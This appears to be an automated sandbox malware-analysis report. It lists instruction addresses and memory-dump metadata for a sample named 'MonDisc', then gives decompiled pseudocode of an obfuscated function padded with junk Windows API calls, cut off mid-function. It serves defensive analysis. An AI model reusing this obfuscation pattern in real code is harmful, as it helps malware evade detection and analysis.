0x7ff6ed0f5bb4
0x7ff6ed0f5bbd
0x7ff6ed0f5bc5
0x7ff6ed0f5bc9
0x7ff6ed0f5bcd
0x7ff6ed0f5bd1
0x7ff6ed0f5bd7
0x7ff6ed0f5bda
0x7ff6ed0f5be1
0x7ff6ed0f5bea
0x7ff6ed0f5bed
0x7ff6ed0f5bf6
0x7ff6ed0f5bfc
0x7ff6ed0f5c06
0x7ff6ed0f5c12
0x7ff6ed0f5c17
0x7ff6ed0f5c19
0x7ff6ed0f5c23
0x7ff6ed0f5c25
0x7ff6ed0f5c2c
0x7ff6ed0f5c35
0x7ff6ed0f5c38
0x7ff6ed0f5c3a
0x7ff6ed0f5c41
0x7ff6ed0f5c4c
0x7ff6ed0f5c52
0x7ff6ed0f5c58
0x7ff6ed0f5c5f
0x7ff6ed0f5c74
0x7ff6ed0f5c77
0x7ff6ed0f5c7d
0x7ff6ed0f5c83
0x7ff6ed0f5c87
0x7ff6ed0f5c8d
0x7ff6ed0f5c94
0x7ff6ed0f5c9d
0x7ff6ed0f5ca3
0x7ff6ed0f5ca7
0x7ff6ed0f5cae
0x7ff6ed0f5cb6
0x7ff6ed0f5cb6
0x7ff6ed0f5cc2
0x7ff6ed0f5ccd
0x7ff6ed0f5cd3
0x7ff6ed0f5ce1
0x7ff6ed0f5ce6
0x7ff6ed0f5cf1
0x7ff6ed0f5cff
0x7ff6ed0f5d03
0x7ff6ed0f5d0b
0x7ff6ed0f5d11
0x7ff6ed0f5d14
0x7ff6ed0f5d1e
0x7ff6ed0f5d20
0x7ff6ed0f5d24
0x7ff6ed0f5d26
0x7ff6ed0f5d29
0x7ff6ed0f5d37
0x7ff6ed0f5d3d
0x7ff6ed0f5d45
0x7ff6ed0f5d52
0x7ff6ed0f5d5a
0x7ff6ed0f5d63
0x7ff6ed0f5d67
0x7ff6ed0f5d6f
0x7ff6ed0f5d75
0x7ff6ed0f5d83
0x7ff6ed0f5d89
0x7ff6ed0f5d8c
0x7ff6ed0f5d8e
0x7ff6ed0f5d91
0x7ff6ed0f5d99
0x7ff6ed0f5da3
0x7ff6ed0f5dab
0x7ff6ed0f5db1
0x7ff6ed0f5db5
0x7ff6ed0f5dba
0x7ff6ed0f5dc2
0x7ff6ed0f5dc8
0x7ff6ed0f5dd0
0x7ff6ed0f5dda
0x7ff6ed0f5ddd
0x7ff6ed0f5ddf
0x7ff6ed0f5de6
0x7ff6ed0f5dec
0x7ff6ed0f5df4
0x7ff6ed0f5dfe
0x7ff6ed0f5e02
0x7ff6ed0f5e06
0x7ff6ed0f5e0a
0x7ff6ed0f5e0c
0x7ff6ed0f5e0e
0x7ff6ed0f5e15
0x7ff6ed0f5e1f
0x7ff6ed0f5e21
0x7ff6ed0f5e2b
0x7ff6ed0f5e2d
0x7ff6ed0f5e31
0x7ff6ed0f5e35
0x7ff6ed0f5e3b
0x7ff6ed0f5e42
0x7ff6ed0f5e48
0x7ff6ed0f5e50
0x7ff6ed0f5e5a
0x7ff6ed0f5e5d
0x7ff6ed0f5e5f
0x7ff6ed0f5e69
0x7ff6ed0f5e71
0x7ff6ed0f5e7b
0x7ff6ed0f5e7f
0x7ff6ed0f5e83
0x7ff6ed0f5e87
0x7ff6ed0f5e89
0x7ff6ed0f5e91
0x7ff6ed0f5e9b
0x7ff6ed0f5e9e
0x7ff6ed0f5ea0
0x7ff6ed0f5ea6
0x7ff6ed0f5eae
0x7ff6ed0f5eba
0x7ff6ed0f5ec0
0x7ff6ed0f5ec6
0x7ff6ed0f5ece
0x7ff6ed0f5ed8
0x7ff6ed0f5ede
0x7ff6ed0f5ee2
0x7ff6ed0f5eec
0x7ff6ed0f5ef5
0x7ff6ed0f5efb
0x7ff6ed0f5efe
0x7ff6ed0f5f04
0x7ff6ed0f5f0b
0x7ff6ed0f5f2f
0x7ff6ed0f5f38
0x7ff6ed0f5f3a
0x7ff6ed0f5f3c
0x7ff6ed0f5f3e
0x7ff6ed0f5f40
0x7ff6ed0f5f41
0x7ff6ed0f5f46
0x7ff6ed0f5f47
0x7ff6ed0f5f48
0x7ff6ed0f5f4b
0x7ff6ed0f5f4f
0x7ff6ed0f5f53
0x7ff6ed0f5f64
0x7ff6ed0f5f68
0x7ff6ed0f5f70
0x7ff6ed0f5f75
0x7ff6ed0f5f7b
0x7ff6ed0f5f81
0x7ff6ed0f5f8a
0x7ff6ed0f5f95
0x7ff6ed0f5f9d
0x7ff6ed0f5fa1
0x7ff6ed0f5fa5
0x7ff6ed0f5fa9
0x7ff6ed0f5fab
0x7ff6ed0f5fb1
0x7ff6ed0f5fb9
0x7ff6ed0f5fc4
0x7ff6ed0f5fca
0x7ff6ed0f5fce
0x7ff6ed0f5fd5
0x7ff6ed0f5fdb
0x7ff6ed0f5fdd
0x7ff6ed0f5fe5
0x7ff6ed0f5ff0
0x7ff6ed0f5ff3
0x7ff6ed0f5ff5
0x7ff6ed0f5ffb
0x7ff6ed0f6003
0x7ff6ed0f6010
0x7ff6ed0f6016
0x7ff6ed0f601c
0x7ff6ed0f6023
0x7ff6ed0f602b
0x7ff6ed0f6036
0x7ff6ed0f6039
0x7ff6ed0f603f
0x7ff6ed0f6047
0x7ff6ed0f6052
0x7ff6ed0f605a
0x7ff6ed0f605e
0x7ff6ed0f6062
0x7ff6ed0f6066
0x7ff6ed0f6068
0x7ff6ed0f606e
0x7ff6ed0f6076
0x7ff6ed0f6081
0x7ff6ed0f6087
0x7ff6ed0f608b
0x7ff6ed0f6092
0x7ff6ed0f6098
0x7ff6ed0f609f
0x7ff6ed0f60a7
0x7ff6ed0f60ba
0x7ff6ed0f60c0
0x7ff6ed0f60c2
0x7ff6ed0f60cc
0x7ff6ed0f60d3
0x7ff6ed0f60e1
0x7ff6ed0f60ea
0x7ff6ed0f60f0
0x7ff6ed0f60fc
0x7ff6ed0f6102
0x7ff6ed0f6105
0x7ff6ed0f6107
0x7ff6ed0f610d
0x7ff6ed0f6114
0x7ff6ed0f611c
0x7ff6ed0f6127
0x7ff6ed0f612f
0x7ff6ed0f6133
0x7ff6ed0f6137
0x7ff6ed0f613b
0x7ff6ed0f613d
0x7ff6ed0f6141
0x7ff6ed0f6151
0x7ff6ed0f6157
0x7ff6ed0f615f
0x7ff6ed0f616d
0x7ff6ed0f616f
0x7ff6ed0f6172
0x7ff6ed0f6174
0x7ff6ed0f617c
0x7ff6ed0f6187
0x7ff6ed0f618b
0x7ff6ed0f618f
0x7ff6ed0f6193
0x7ff6ed0f6195
0x7ff6ed0f619a
0x7ff6ed0f619e
0x7ff6ed0f61a4
0x7ff6ed0f61ac
0x7ff6ed0f61b2
0x7ff6ed0f61ba
0x7ff6ed0f61bd
0x7ff6ed0f61be
0x7ff6ed0f61c3
0x7ff6ed0f61cd

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bff2ef37a1e8b58c398f1a0837f5b693386628ce94bc098f00c10939dc4554f
Instruction ID: 7b91c989c31e51b9eb0fe0fb70d32fae08d4b870755c4f61f6aafcd7397568e0
Opcode Fuzzy Hash: 6bff2ef37a1e8b58c398f1a0837f5b693386628ce94bc098f00c10939dc4554f
Instruction Fuzzy Hash: 1E825667E2C9074AF6059F349D5A3B926956F20211F380A3AD50AD3297FF3EF189810F

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED0F512F Relevance: 73.0, APIs: 48, Instructions: 959
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 53%

			E00007FF67FF6ED0F512F(void* __eax, signed int __esi, signed int __ebp, intOrPtr* __rax, long long __rcx, struct HWND__* __r12, struct HWND__* __r13, signed long long _a80, long long _a88, long long _a96, long long _a104) {
				signed int _t95;
				signed int _t100;
				signed int _t114;
				signed int _t119;
				signed int _t130;
				signed int _t143;
				signed int _t149;
				signed int _t154;
				signed int _t163;
				signed int _t168;
				signed int _t173;
				signed int _t186;
				signed int _t191;
				signed int _t197;
				signed int _t207;
				signed int _t212;
				signed int _t218;
				signed int _t224;
				signed int _t229;
				signed int _t234;
				signed int _t239;
				signed int _t244;
				signed int _t251;
				signed int _t258;
				signed int _t269;
				signed int _t283;
				signed int _t293;
				signed int _t298;
				signed int _t304;
				signed int _t310;
				signed int _t316;
				signed int _t323;
				signed int _t328;
				signed int _t333;
				signed int _t338;
				signed int _t343;
				signed int _t348;
				signed int _t354;
				signed int _t364;
				signed int _t371;
				signed int _t378;
				signed int _t390;
				signed int _t400;
				signed int _t405;
				signed int _t437;
				signed int _t442;
				signed int _t460;
				signed int _t466;
				signed int _t472;
				signed int _t477;
				signed int _t482;
				signed int _t501;
				signed int _t517;
				signed int _t531;
				signed int _t541;
				signed int _t547;
				signed int _t574;
				signed int _t579;
				signed int _t584;
				signed int _t601;
				signed int _t616;
				signed char _t655;
				signed int _t662;
				signed char _t701;
				signed int _t787;
				signed int _t796;
				void* _t798;
				void* _t805;
				void* _t806;
				void* _t807;
				void* _t809;
				void* _t812;
				void* _t815;
				void* _t817;
				void* _t819;
				void* _t820;
				void* _t825;
				void* _t826;
				void* _t828;
				void* _t829;
				void* _t830;
				void* _t832;
				void* _t833;
				void* _t835;
				void* _t836;
				void* _t838;
				void* _t840;
				void* _t841;
				void* _t842;
				void* _t843;
				void* _t846;
				void* _t847;
				void* _t848;
				void* _t850;
				void* _t851;
				void* _t853;
				void* _t854;
				void* _t855;
				void* _t856;
				void* _t858;
				void* _t859;
				void* _t860;
				void* _t863;
				void* _t864;
				void* _t867;
				void* _t868;
				void* _t869;
				void* _t870;
				void* _t871;
				void* _t873;
				void* _t874;
				void* _t877;
				void* _t878;
				void* _t880;
				void* _t883;
				void* _t886;
				void* _t889;
				void* _t891;
				void* _t892;
				void* _t893;
				void* _t894;
				void* _t895;
				void* _t896;
				void* _t897;
				void* _t898;
				void* _t901;
				void* _t903;
				intOrPtr* _t906;
				void* _t907;
				void* _t908;
				signed long long _t910;
				intOrPtr _t918;
				struct HWND__* _t920;
				void* _t922;
				long long _t923;
				long long _t925;
				void* _t929;
				void* _t930;
				void* _t937;
				void* _t940;
				struct HWND__* _t941;
				void* _t942;
				WCHAR* _t943;
				void* _t944;

				_t906 = __rax;
				_t798 = (__eax - __ebp | r14d) + __ebp - 0x46;
				 *0xed236f60 = __esi & 0xffffff00 | _t798 != 0x00000000;
				dil = 4;
				E00007FF67FF6ED184484(__rax);
				if (_t798 >= 0) goto 0xed0f5158;
				asm("movsd xmm6, [0x114888]");
				goto 0xed0f51f6;
				if (dil - 0xe >= 0) goto 0xed0f520a;
				_t95 = E00007FF67FF6ED184484(__rax) & r15d;
				if (_t95 >= 0) goto 0xed0f5182;
				if ((_t95 - __ebp | r14d) + __ebp == 0x10) goto 0xed0f51a8;
				_t100 = E00007FF67FF6ED184484(__rax) & r15d;
				if (_t100 >= 0) goto 0xed0f5198;
				 *0xed236f60 = __esi & 0xffffff00 | (_t100 - __ebp | r14d) + __ebp != 0x00000010;
				goto 0xed0f51c7;
				 *0xed236f60 = 0x37;
				if (0x37 + bpl - 0x46 < 0) goto 0xed0f51aa;
				 *0xed236f60 = __ebp;
				 *0xed236f60 = __esi;
				 *0xed236f60 = 0x41;
				_t805 = 0x41 + bpl - 0x4e;
				if (_t805 < 0) goto 0xed0f5171;
				dil = dil + bpl;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(__rax);
				if (_t805 >= 0) goto 0xed0f51f6;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t805 != 0) goto 0xed0f520a;
				if (_t805 == 0) goto 0xed0f5165;
				 *0xed236f60 = 0x2f;
				GetMessageTime();
				 *0xed236f60 = 0x12;
				_t806 = 0x12 + bpl - 0x22;
				if (_t806 < 0) goto 0xed0f521c;
				 *0xed236f60 = __ebp;
				_t114 = E00007FF67FF6ED184484(__rax);
				if (_t806 >= 0) goto 0xed0f5244;
				_t807 = ((_t114 & r15d) - __ebp | r14d) + __ebp - 0x44;
				if (_t807 >= 0) goto 0xed0f5268;
				_t119 = E00007FF67FF6ED184484(__rax);
				if (_t807 >= 0) goto 0xed0f525a;
				 *0xed236f60 = __esi & 0xffffff00 | ((_t119 & r15d) - __ebp | r14d) + __ebp - 0x00000044 < 0x00000000;
				 *0xed236f60 = 0x19;
				_t809 = 0x19 + bpl - 0x24;
				if (_t809 < 0) goto 0xed0f526a;
				 *0xed236f60 = 0x41;
				E00007FF67FF6ED184484(__rax);
				if (_t809 >= 0) goto 0xed0f5298;
				_t130 = E00007FF67FF6ED184484(__rax);
				if (_t809 >= 0) goto 0xed0f52a9;
				 *0xed236f60 = __esi & 0xffffff00 | ((_t130 & r15d) - __ebp | r14d) + __ebp - 0x0000005a > 0x00000000;
				 *0xed236f60 = 0x69;
				if (0x69 + bpl - 0x6c < 0) goto 0xed0f5287; // executed
				GetUserDefaultLangID(); // executed
				 *0xed1ee398();
				GetSystemDefaultLangID();
				 *0xed236f60 = 0x1f;
				_t812 = 0x1f + bpl - 0x32;
				if (_t812 < 0) goto 0xed0f52d6;
				GetParent(??);
				GetDoubleClickTime();
				GetDoubleClickTime();
				_t143 = E00007FF67FF6ED184484(__rax);
				if (_t812 >= 0) goto 0xed0f5312;
				if (((_t143 & r15d) - __ebp | r14d) + __ebp - 0x45 >= 0) goto 0xed0f5361;
				goto 0xed0f532c;
				if (0x5f - 0x73 >= 0) goto 0xed0f5342;
				 *0xed236f60 = 0x0000005f + bpl & 0x000000ff;
				_t149 = E00007FF67FF6ED184484(__rax);
				if (0x5f - 0x73 >= 0) goto 0xed0f533d;
				_t815 = ((_t149 & r15d) - __ebp | r14d) + __ebp - 0x22;
				if (_t815 != 0) goto 0xed0f531b;
				_t154 = E00007FF67FF6ED184484(__rax);
				if (_t815 >= 0) goto 0xed0f5353;
				 *0xed236f60 = __esi & 0xffffff00 | ((_t154 & r15d) - __ebp | r14d) + __ebp - 0x00000045 < 0x00000000;
				_t701 = sil;
				 *0xed236f60 = _t701 & 0x000000ff;
				_t817 = _t701 + bpl - 0xf;
				if (_t817 < 0) goto 0xed0f5364;
				GetWindowTextLengthW(??);
				GetMessageExtraInfo();
				 *0xed236f60 = 5;
				_t163 = E00007FF67FF6ED184484(__rax);
				if (_t817 >= 0) goto 0xed0f53a2;
				if (((_t163 & r15d) - __ebp | r14d) + __ebp - 0x3f < 0) goto 0xed0f53ac;
				_t819 = 5 + bpl - 0xe;
				if (_t819 < 0) goto 0xed0f5385;
				dil = 0x49;
				_t168 = E00007FF67FF6ED184484(__rax);
				if (_t819 >= 0) goto 0xed0f53c2;
				_t820 = ((_t168 & r15d) - __ebp | r14d) + __ebp - 0x1b;
				if (_t820 <= 0) goto 0xed0f53f0;
				 *0xed236f60 = 0x66;
				_t173 = E00007FF67FF6ED184484(__rax);
				if (_t820 >= 0) goto 0xed0f53e2;
				 *0xed236f60 = __esi & 0xffffff00 | ((_t173 & r15d) - __ebp | r14d) + __ebp - 0x0000001b > 0x00000000;
				 *0xed236f60 = 0x3f;
				if (0x3f + bpl - 0x46 < 0) goto 0xed0f53b1;
				dil = dil + bpl;
				 *0xed236f60 = __ebp;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - 0x51 < 0) goto 0xed0f53af;
				IsIconic(??);
				IsIconic(??);
				GetDoubleClickTime();
				 *0xed236f60 = 0x1e;
				GetLastActivePopup(??);
				GetMessageTime();
				goto 0xed0f545d;
				if (0x40 - 0x4a >= 0) goto 0xed0f5473;
				 *0xed236f60 = 0x00000040 + bpl & 0x000000ff;
				_t186 = E00007FF67FF6ED184484(__rax);
				if (0x40 - 0x4a >= 0) goto 0xed0f546e;
				_t825 = ((_t186 & r15d) - __ebp | r14d) + __ebp - 0x3b;
				if (_t825 == 0) goto 0xed0f544c;
				_t191 = E00007FF67FF6ED184484(__rax);
				if (_t825 >= 0) goto 0xed0f5484;
				_t826 = ((_t191 & r15d) - __ebp | r14d) + __ebp - 0x26;
				if (_t826 < 0) goto 0xed0f54b0;
				GetModuleHandleW(??);
				_t197 = E00007FF67FF6ED184484(__rax);
				if (_t826 >= 0) goto 0xed0f54a2;
				 *0xed236f60 = __esi & 0xffffff00 | ((_t197 & r15d) - __ebp | r14d) + __ebp - 0x00000026 >= 0x00000000;
				GetCurrentProcessId();
				 *0xed1ee398();
				 *0xed236f60 = 0x20;
				_t828 = 0x20 + bpl - 0x2b;
				if (_t828 < 0) goto 0xed0f54b8;
				GetTopWindow(??);
				 *0xed236f60 = __ebp;
				GetMessageExtraInfo();
				_t207 = E00007FF67FF6ED184484(__rax);
				if (_t828 >= 0) goto 0xed0f54f4;
				_t829 = ((_t207 & r15d) - __ebp | r14d) + __ebp - 0x3f;
				if (_t829 == 0) goto 0xed0f5518;
				_t212 = E00007FF67FF6ED184484(__rax);
				if (_t829 >= 0) goto 0xed0f550a;
				_t830 = ((_t212 & r15d) - __ebp | r14d) + __ebp - 0x3f;
				 *0xed236f60 = __esi & 0xffffff00 | _t830 != 0x00000000;
				 *0xed236f60 = 0x61;
				_t218 = E00007FF67FF6ED184484(__rax);
				if (_t830 >= 0) goto 0xed0f5537;
				if (((_t218 & r15d) - __ebp | r14d) + __ebp - 0x69 > 0) goto 0xed0f5541;
				_t832 = 0x61 + bpl - 0x73;
				if (_t832 < 0) goto 0xed0f551a;
				GetParent(??);
				_t224 = E00007FF67FF6ED184484(__rax);
				if (_t832 >= 0) goto 0xed0f555a;
				_t833 = ((_t224 & r15d) - __ebp | r14d) + __ebp - 0x20;
				if (_t833 >= 0) goto 0xed0f557a;
				_t229 = E00007FF67FF6ED184484(__rax);
				if (_t833 >= 0) goto 0xed0f5570;
				goto 0xed0f55a9;
				_t234 = E00007FF67FF6ED184484(__rax);
				if (((_t229 & r15d) - __ebp | r14d) + __ebp - 0x20 >= 0) goto 0xed0f558b;
				_t835 = ((_t234 & r15d) - __ebp | r14d) + __ebp - 0x48;
				if (_t835 > 0) goto 0xed0f55af;
				_t239 = E00007FF67FF6ED184484(__rax);
				if (_t835 >= 0) goto 0xed0f55a1;
				_t836 = ((_t239 & r15d) - __ebp | r14d) + __ebp - 0x48;
				 *0xed236f60 = __esi & 0xffffff00 | _t836 <= 0x00000000;
				_t244 = E00007FF67FF6ED184484(__rax);
				if (_t836 >= 0) goto 0xed0f55c0;
				if (((_t244 & r15d) - __ebp | r14d) + __ebp - 0x15 <= 0) goto 0xed0f55cf;
				GetTopWindow(??);
				goto 0xed0f55e2;
				 *0xed236f60 = 0x60;
				_t838 = 0x60 + bpl - 0x6b;
				if (_t838 < 0) goto 0xed0f55d1;
				_t251 = E00007FF67FF6ED184484(__rax);
				if (_t838 >= 0) goto 0xed0f55f3;
				 *0xed236f60 = __esi & 0xffffff00 | ((_t251 & r15d) - __ebp | r14d) + __ebp - 0x00000015 > 0x00000000;
				GetTopWindow(??);
				 *0xed236f60 = 2;
				_t840 = 2 + bpl - 0x12;
				if (_t840 < 0) goto 0xed0f5603;
				_t258 = E00007FF67FF6ED184484(__rax);
				if (_t840 >= 0) goto 0xed0f562d;
				_t841 = ((_t258 & r15d) - __ebp | r14d) + __ebp - 4;
				if (_t841 != 0) goto 0xed0f5687;
				_t655 = bpl + bpl;
				 *0xed236f60 = _t655 & 0x000000ff;
				E00007FF67FF6ED184484(__rax);
				if (_t841 >= 0) goto 0xed0f5652;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x1143de]");
				if (_t841 <= 0) goto 0xed0f5669;
				_t842 = _t655 - 4;
				if (_t842 < 0) goto 0xed0f5635;
				_t269 = E00007FF67FF6ED184484(__rax);
				if (_t842 >= 0) goto 0xed0f567a;
				_t843 = ((_t269 & r15d) - __ebp | r14d) + __ebp - 4;
				sil = _t843 == 0;
				 *0xed236f60 = __esi;
				E00007FF67FF6ED1844F4(E00007FF67FF6ED1844FC(((_t269 & r15d) - __ebp | r14d) + __ebp));
				_t918 =  *_t906;
				_t910 = _a80;
				_t925 = _a88;
				_t923 = _a96;
				asm("movaps xmm6, [esp+0x20]");
				_t930 = _t929 + 0x30;
				_pop(_t943);
				_pop(_t941);
				_pop(_t920);
				goto 0xed0f7568;
				asm("int3");
				_t907 = _t930;
				 *(_t907 + 0x10) = _t910;
				 *((long long*)(_t907 + 0x18)) = _t925;
				 *((long long*)(_t907 + 0x20)) = _t923;
				 *((long long*)(_t907 + 8)) = __rcx;
				asm("movaps [eax-0x38], xmm6");
				 *0xed236f60 = 1;
				 *0xed236f60 = 1;
				E00007FF67FF6ED184484(_t907);
				r14d = 0x8000007f;
				if (_t843 >= 0) goto 0xed0f5717;
				r15d = 0;
				goto 0xed0f574c;
				if (0x2b - 0x2e >= 0) goto 0xed0f5751;
				GetModuleHandleW(_t943);
				 *0xed236f60 = r15d;
				 *0xed236f60 = 0x0000002b + sil & 0x000000ff;
				_t283 = E00007FF67FF6ED184484(_t907);
				if (0x2b - 0x2e >= 0) goto 0xed0f574c;
				if (((_t283 & r14d) - 0x00000001 | 0xffffff80) + 1 == 0x37) goto 0xed0f571c;
				GetMessageExtraInfo();
				AnyPopup();
				GetWindowTextLengthW(_t941);
				 *0xed236f60 = 0x41;
				_t846 = 0x41 + sil - 0x55;
				if (_t846 < 0) goto 0xed0f575f;
				IsZoomed(__r13);
				_t293 = E00007FF67FF6ED184484(_t907);
				if (_t846 >= 0) goto 0xed0f5790;
				_t847 = ((_t293 & r14d) - 0x00000001 | 0xffffff80) + 1 - 0x66;
				if (_t847 >= 0) goto 0xed0f57bd;
				 *0xed236f60 = r15d;
				_t298 = E00007FF67FF6ED184484(_t907);
				if (_t847 >= 0) goto 0xed0f57ac;
				_t848 = ((_t298 & r14d) - 0x00000001 | 0xffffff80) + 1 - 0x66;
				 *0xed236f60 = r15d & 0xffffff00 | _t848 < 0x00000000;
				goto 0xed0f57ca;
				AnyPopup();
				 *0xed236f60 = r15d;
				_t304 = E00007FF67FF6ED184484(_t907);
				if (_t848 >= 0) goto 0xed0f57da;
				if (((_t304 & r14d) - 0x00000001 | 0xffffff80) + 1 - 0x3c <= 0) goto 0xed0f5811;
				 *0xed236f60 = 0x19;
				_t850 = 0x19 + sil - 0x2b;
				if (_t850 < 0) goto 0xed0f57e1;
				_t310 = E00007FF67FF6ED184484(_t907);
				if (_t850 >= 0) goto 0xed0f5802;
				_t851 = ((_t310 & r14d) - 0x00000001 | 0xffffff80) + 1 - 0x3c;
				 *0xed236f60 = r15d & 0xffffff00 | _t851 > 0x00000000;
				 *0xed236f60 = 0x5a;
				_t316 = E00007FF67FF6ED184484(_t907);
				if (_t851 >= 0) goto 0xed0f582f;
				if (((_t316 & r14d) - 0x00000001 | 0xffffff80) + 1 - 0x65 >= 0) goto 0xed0f5839;
				_t853 = 0x5a + sil - 0x5b;
				if (_t853 < 0) goto 0xed0f5813;
				 *0xed236f60 = 1;
				 *0xed1ee398();
				GetTickCount();
				 *0xed236f60 = 1;
				_t323 = E00007FF67FF6ED184484(_t907);
				_t662 = r14d;
				if (_t853 >= 0) goto 0xed0f5863;
				_t854 = ((_t323 & _t662) - 0x00000001 | 0xffffff80) + 1 - 0x70;
				if (_t854 > 0) goto 0xed0f5886;
				_t328 = E00007FF67FF6ED184484(_t907);
				if (_t854 >= 0) goto 0xed0f5877;
				_t855 = ((_t328 & _t662) - 0x00000001 | 0xffffff80) + 1 - 0x70;
				 *0xed236f60 = r15d & 0xffffff00 | _t855 <= 0x00000000;
				_t333 = E00007FF67FF6ED184484(_t907);
				if (_t855 >= 0) goto 0xed0f5895;
				r14d = 0x31;
				r15d = _t941 - 0x15;
				_t856 = ((_t333 & _t662) - 0x00000001 | 0xffffff80) + 1 - 0x33;
				if (_t856 == 0) goto 0xed0f58c0;
				_t338 = E00007FF67FF6ED184484(_t907);
				if (_t856 >= 0) goto 0xed0f58b3;
				goto 0xed0f59ed;
				_t343 = E00007FF67FF6ED184484(_t907);
				if (((_t338 & _t662) - 0x00000001 | 0xffffff80) + 1 - 0x33 >= 0) goto 0xed0f58cf;
				_t858 = ((_t343 & _t662) - 0x00000001 | 0xffffff80) + 1 - 0x10;
				if (_t858 <= 0) goto 0xed0f59f3;
				_t348 = E00007FF67FF6ED184484(_t907);
				if (_t858 >= 0) goto 0xed0f58e7;
				_t859 = ((_t348 & _t662) - 0x00000001 | 0xffffff80) + 1 - r14d;
				if (_t859 == 0) goto 0xed0f5916;
				GetLastActivePopup(__r12);
				_t354 = E00007FF67FF6ED184484(_t907);
				if (_t859 >= 0) goto 0xed0f5903;
				_t860 = ((_t354 & _t662) - 0x00000001 | 0xffffff80) + 1 - r14d;
				 *0xed236f60 = 0 | _t860 != 0x00000000;
				goto 0xed0f59d6;
				E00007FF67FF6ED184484(_t907);
				if (_t860 >= 0) goto 0xed0f5925;
				asm("movsd xmm6, [0x1141e3]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t860 > 0) goto 0xed0f59b0;
				_t364 = E00007FF67FF6ED184484(_t907);
				if (_t860 >= 0) goto 0xed0f594a;
				if (((_t364 & _t662) - 0x00000001 | 0xffffff80) + 1 - 0x20 < 0) goto 0xed0f598d;
				goto 0xed0f596a;
				if (0x27 - 0x33 >= 0) goto 0xed0f5981;
				GetTickCount();
				 *0xed236f60 = 0x00000027 + sil & 0x000000ff;
				_t371 = E00007FF67FF6ED184484(_t907);
				if (0x27 - 0x33 >= 0) goto 0xed0f597c;
				_t863 = ((_t371 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - r15d;
				if (_t863 >= 0) goto 0xed0f5953;
				E00007FF67FF6ED184484(_t907);
				goto 0xed0f5998;
				GetCommandLineW();
				_t378 = E00007FF67FF6ED184484(_t907);
				if (_t863 >= 0) goto 0xed0f59a2;
				_t864 = ((_t378 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x20;
				 *0xed236f60 = 0 | _t864 >= 0x00000000;
				E00007FF67FF6ED184484(_t907);
				if (_t864 >= 0) goto 0xed0f59bf;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t864 > 0x00000000;
				_t390 = E00007FF67FF6ED184484(_t907);
				if (_t864 >= 0) goto 0xed0f59e5;
				 *0xed236f60 = 0 | ((_t390 & 0x8000007f) - 0x00000001 | 0xffffff80) + 0x00000001 - 0x00000010 > 0x00000000; // executed
				GetForegroundWindow(); // executed
				GetTopWindow(_t920);
				_t787 =  !=  ? r9d : 0;
				_t796 = r12d - _t787 - 1;
				GetCommandLineW();
				 *0xed236f60 = 0x5d;
				_t867 = 0x5d + dil - 0x6a;
				if (_t867 < 0) goto 0xed0f5a1d;
				GetTopWindow(??);
				_t400 = E00007FF67FF6ED184484(_t907);
				if (_t867 >= 0) goto 0xed0f5a46;
				_t868 = ((_t400 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x79;
				if (_t868 >= 0) goto 0xed0f5a6b;
				_t405 = E00007FF67FF6ED184484(_t907);
				if (_t868 >= 0) goto 0xed0f5a5b;
				_t869 = ((_t405 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x79;
				 *0xed236f60 = 0 | _t869 < 0x00000000;
				goto 0xed0f5a7b;
				GetForegroundWindow();
				 *0xed236f60 = 0;
				E00007FF67FF6ED184484(_t907);
				if (_t869 >= 0) goto 0xed0f5a8b;
				asm("movsd xmm6, [0x11416d]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t869 >= 0) goto 0xed0f5ab4;
				 *0xed236f60 = 0x54;
				_t870 = 0x54 + dil - 0x61;
				if (_t870 < 0) goto 0xed0f5aa3;
				E00007FF67FF6ED184484(_t907);
				if (_t870 >= 0) goto 0xed0f5ac4;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t870 >= 0x00000000;
				E00007FF67FF6ED184484(_t907);
				if (_t870 >= 0) goto 0xed0f5aeb;
				asm("movsd xmm6, [0x114055]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t870 <= 0) goto 0xed0f5b28;
				E00007FF67FF6ED184484(_t907);
				if (_t870 >= 0) goto 0xed0f5b11;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
